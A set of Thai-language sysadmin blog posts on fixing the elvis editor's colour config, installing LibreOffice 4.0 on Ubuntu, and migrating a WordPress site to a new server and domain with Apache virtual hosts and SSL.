    ซึ่งเมื่อติดตั้งแล้ว elvis จะกลายเป็น default editor ทันที ดูได้จากคำสั่ง

    $sudo update-alternative --config editor

    ดังรูป
    Selection_003 )

    มาโดยตลอด ติดอยู่อย่างเดียวคือ เมื่อติดตั้งแล้ว เมื่อเปิด vi ขึ้นมาพบว่าหน้าจอเป็นสีดำทั้งหมด Angry
    Screenshot from 2013-04-17 13:37:57

    ก็ต้องมาเปลี่ยนสีของ terminal เพื่อให้อ่านออกเป็นแบบนี้

    Screenshot from 2013-04-17 13:46:52

    อีกวิธีไม่ต้องแก้สีของโปรไฟล์ คือ แก้ค่าในแฟ้ม /etc/elvis/elvis.clr

    $sudo vi /etc/elvis/elvis.clr

    ให้มองหาข้อความ case termcap { แล้วแก้ตรงบรรทัดที่เขียนว่า color normal yellow or black เป็น color normal yellow on black เซฟแล้วลองเรียก vi ใหม่ได้ผลดังนี้

    Screenshot from 2013-04-17 13:49:40

    สงสัยจะใส่ค่า config ผิดตั้งแต่ตัวติดตั้ง What?! ขอให้สนุกครับ

    ที่มา http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=474202

  • How to install LibreOffice 4.0 in Ubuntu & Mint

    1. Uninstall LibreOffice รุ่นเก่าออกให้หมด
      $sudo apt-get remove --purge libreoffice*
    2. Download Libreoffice for Ubuntu ที่ LibreOffice โดยเลือกรุ่นให้ถูกต้องว่า 64 บิตหรือ 32บิต (x86 หรือ x86_64) ดูได้จากคำสั่ง
      $uname -a
      หากได้ผลลัพธ์ว่า
      Linux Enterprise 3.5.0-23-generic #35-Ubuntu SMP Thu Jan 24 13:15:40 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
      แปลว่า 64บิต สังเกตุว่ามี x86_64 ต่อท้าย ส่วนรุ่น 32บิตจะได้ว่า
      Linux ubuntu 2.6.32-34-generic-pae #77-Ubuntu SMP Tue Sep 13 21:16:18 UTC 2011 i686 GNU/Linux
      สังเกตว่ามี i686 เครื่องรุ่นเก่ากว่านี้อาจจะเป็นเลขอื่นๆ

    (more…)

  • วิธีย้ายบล็อก wordpress ไปเครื่องใหม่ชื่อโดเมนเนมใหม่

    บันทึกขั้นตอน (ตัวอย่าง) ในการย้ายบล็อก wordpress จากเครื่องเดิม sysadmin.in.psu.ac.th ไปยังเครื่องใหม่ โดเมนเนมใหม่ sysadmin.psu.ac.th เนื่องจากเครื่องเดิมจะมี resources ไม่เพียงพอ และต้องการเปลี่ยนชื่อโดเมนเนมอันใหม่ที่หลายคนว่าดูเหมาะสมและชื่อสั้นกว่า งานนี้บอกได้เลยว่าเล่นเอาเหงื่อตกเลย เพราะคิดว่าย้ายแบบ Joomla! ก็น่าจะได้ ซึ่งเป็นวิธีที่ใช้ไม่ได้ครับ สุดท้ายสำเร็จกับการติดตั้ง Duplicator Plugin ไว้ที่เครื่องเดิมก่อน แล้วสร้าง backup ไว้นำมา restore ลงในเครื่องใหม่

    เนื้อหาค่อนข้างยาวสักนิด ผมมีเจตนาอยากให้เห็นว่าการทำเว็บไซต์ขึ้นมาหนึ่งอัน เราต้องใช้ความรู้พอสมควร และที่ทำส่วนใหญ่ก็อ่านจากเว็บไซต์ของพี่วิภัทร นั่นคือ opensource.psu.ac.th นี่แหล่ะครับ

    1. เริ่มต้นจากกำหนดจำนวน resources ที่จำเป็นใช้ เพราะว่าจะไปขอใช้ Virtual Machine ของศูนย์คอมพิวเตอร์ ที่ขอไว้คือ RAM 2 GB, Hard disk 40 GB, OS Ubuntu 12.04.1, TCP Port 80,443
      แล้วกรอกในแบบฟอร์ม
    2. งานบริการเซิร์ฟเวอร์ก็สร้าง VM ให้ที่ทำการอัปเดต OS ให้แล้ว แจ้ง username ให้เข้าใช้งานผ่าน ssh
    3. เมื่อ ssh เข้าได้แล้ว เข้าทำงานในสิทธิ root ด้วยคำสั่ง
      sudo su –
    4. ทำการติดตั้ง Apps ที่จำเป็น ผมเลือก LAMP คือชุดรวมของ Linux, Apache, MySQL และ PHP ที่จำเป็นต้องใช้กับ wordpress ด้วยคำสั่ง
      tasksel
      เลือก LAMP
      จะมีคำถาม รหัสผ่านของ MySQL root ให้ตั้งที่จะจำได้
    5. ติดตั้งส่วนเพิ่มเติมของ php เพิ่มด้วยคำสั่ง
      apt-get install php5-gd php5-imap php5-ldap php5-radius
    6. ติดตั้ง unzip เพิ่มด้วยคำสั่ง
      apt-get install unzip
    7. ปรับแต่ง apache2 ให้ใช้งานแบบ module rewrite
      sudo a2enmod rewrite
    8. ต่อไปก็มาถึงเรื่องการปรับแต่ง apache2 ให้มี Virtual host แบบเปิด port สำหรับ http และ redirect http โดยแก้ไขไฟล์ /etc/apache2/sites-available/default
      <VirtualHost *:80>
      ServerAdmin webmaster@localhost
      ServerName sysadmin.psu.ac.th           <==== เพิ่มบรรทัดนี้
      DocumentRoot /var/www/wordpress

      <Directory /var/www/wordpress>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride All             <==== แก้ไขบรรทัดนี้จาก None เป็น All
      Order allow,deny
      allow from all
      </Directory>
      …     ที่เหลือเหมือนเดิม
      </VirtualHost>
      เพิ่มบรรทัดข้างล่างนี้ เพื่อให้ยังคงมีการ redirect ไปยังที่ใหม่หากใช้ชื่อเก่า
      <VirtualHost *:80>
      ServerName sysadmin.in.psu.ac.th
      Redirect / http://sysadmin.psu.ac.th/
      </VirtualHost>
    9. ต่อไปมาถึงเรื่องการปรับแต่ง apache2 ให้มี Virtual host แบบเปิด port สำหรับ https
      สั่งเปิด module ssl ด้วยคำสั่ง
      a2enmod ssl
      คัดลอกแฟ้ม PSU SSL certificates (file_a.crt, file_b.key และ file_c.ca-bundle) มาเก็บไว้ในไดเรกทอรีที่สร้างนี้
      mkdir -p /etc/apache2/ssl
      mv /home/username/file_* /etc/apache2/ssl/
      แล้วปรับเปลี่ยนสิทธิของแฟ้มด้วยคำสั่ง
      chown -R root:root /etc/apache2/ssl/file_*.*
      chmod 600 /etc/apache2/ssl/file_*.*
      แล้วแก้ไขไฟล์ /etc/apache2/sites-available/default เพื่อจัดการเกี่ยวกับ https และ Certificates
      เพิ่มบรรทัดต่อท้ายไฟล์
      NameVirtualHost *:443
      <VirtualHost *:443>
      DocumentRoot /var/www/wordpress
      ServerName sysadmin.psu.ac.th
      SSLEngine on
      SSLCertificateFile /etc/apache2/ssl/file_a.crt
      SSLCertificateKeyFile /etc/apache2/ssl/file_b.key
      SSLCertificateChainFile /etc/apache2/ssl/file_c.ca-bundle
      </VirtualHost>
    10. ต้องสั่งรีสตาร์ท apache2 ดังนี้
      service apache2 restart
      (more…)